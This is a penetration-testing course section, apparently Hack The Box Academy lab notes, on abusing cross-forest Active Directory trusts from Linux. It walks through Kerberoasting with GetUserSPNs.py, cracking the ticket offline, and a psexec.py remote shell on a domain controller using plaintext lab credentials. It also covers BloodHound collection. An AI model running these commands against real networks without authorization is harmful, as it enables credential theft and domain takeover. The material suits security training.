32-Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux

As we saw in the previous section, it is often possible to Kerberoast across a forest trust. If this is possible in the environment we are assessing, we can perform this with `GetUserSPNs.py` from our Linux attack host. To do this, we need credentials for a user that can authenticate into the other domain and specify the `-target-domain` flag in our command. Performing this against the `FREIGHTLOGISTICS.LOCAL` domain, we see one SPN entry for the `mssqlsvc` account.

Cross-Forest Kerberoasting

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -target-domain
FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                 Name      MemberOf
PasswordLastSet             LastLogon  Delegation
-----------------------------------  --------  ----------------------------
-------------------------  --------------------------  ---------  ----------
MSSQLsvc/sql01.freightlogstics:1433  mssqlsvc  CN=Domain
Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL  2022-03-24 15:47:52.488917
<never>
```

Rerunning the command with the `-request` flag added gives us the TGS ticket. We could also add `-outputfile <OUTPUT FILE>` to output directly into a file that we could then turn around and run Hashcat against.

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -request -target-domain
FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth
Corporation

Password:
ServicePrincipalName                 Name      MemberOf
PasswordLastSet             LastLogon  Delegation
-----------------------------------  --------  ----------------------------
-------------------------  --------------------------  ---------  ----------
```

```
MSSQLsvc/sql01.freightlogstics:1433  mssqlsvc  CN=Domain
Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL  2022-03-24 15:47:52.488917
<never>


$krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc
*$10<SNIP>
```

We could then attempt to crack this offline using Hashcat with mode `13100`. If successful, we'd be able to authenticate into the `FREIGHTLOGISTICS.LOCAL` domain as a Domain Admin. If we are successful with this type of attack during a real-world assessment, it would also be worth checking to see if this account exists in our current domain and if it suffers from password re-use. This could be a quick win for us if we have not yet been able to escalate in our current domain. Even if we already have control over the current domain, it would be worth adding a finding to our report if we do find password re-use across similarly named accounts in different domains.

if you want to log in :

```
 Log in to the ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL Domain Controller
using the Domain Admin account password submitted for question #2 and submit
the contents of the flag.txt file on the Administrator desktop.

 #psexec.py FREIGHTLOGISTICS.LOCAL/sapsso:'pabloPICASSO'@172.16.5.238
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth
Corporation

[*] Requesting shares on 172.16.5.238.....
[*] Found writable share ADMIN$
[*] Uploading file IVhjPGrz.exe
[*] Opening SVCManager on 172.16.5.238.....
[*] Creating service woMM on 172.16.5.238.....
[*] Starting service woMM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
```

Hunting Foreign Group Membership with Bloodhound-python

As noted in the last section, we may, from time to time, see users or admins from one domain as members of a group in another domain. Since only `Domain Local Groups` allow users from outside their forest, it is not uncommon to see a highly privileged user from Domain A as a member of the built-in administrators group in domain B when dealing with a bidirectional forest trust relationship. If we are testing from a Linux host, we can gather this information by using the Python implementation of

BloodHound. We can use this tool to collect data from multiple domains, ingest it into the GUI tool and search for these relationships.

On some assessments, our client may provision a VM for us that gets an IP from DHCP and is configured to use the internal domain's DNS. We will be on an attack host without DNS configured in other instances. In this case, we would need to edit our `resolv.conf` file to run this tool since it requires a DNS hostname for the target Domain Controller instead of an IP address. We can edit the file as follows using sudo rights. Here we have commented out the current nameserver entries and added the domain name and the IP address of `ACADEMY-EA-DC01` as the nameserver.

Adding INLANEFREIGHT.LOCAL Information to /etc/resolv.conf

```
0xAmr0zZakaria@htb[/htb]$ cat /etc/resolv.conf

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by
resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
```

Once this is in place, we can run the tool against the target domain as follows:

Running bloodhound-python Against INLANEFREIGHT.LOCAL

```
0xAmr0zZakaria@htb[/htb]$ bloodhound-python -d INLANEFREIGHT.LOCAL -dc
ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

INFO: Found AD domain: inlanefreight.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 2950 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-
DC02.LOGISTICS.INLANEFREIGHT.LOCAL
INFO: Found 183 groups
INFO: Found 2 trusts

<SNIP>
```

We can compress the resultant zip files to upload one single zip file directly into the BloodHound GUI.

Compressing the File with zip -r

```
0xAmr0zZakaria@htb[/htb]$ zip -r ilfreight_bh.zip *.json

  adding: 20220329140127_computers.json (deflated 99%)
  adding: 20220329140127_domains.json (deflated 82%)
  adding: 20220329140127_groups.json (deflated 97%)
  adding: 20220329140127_users.json (deflated 98%)
```

Viewing Dangerous Rights through BloodHound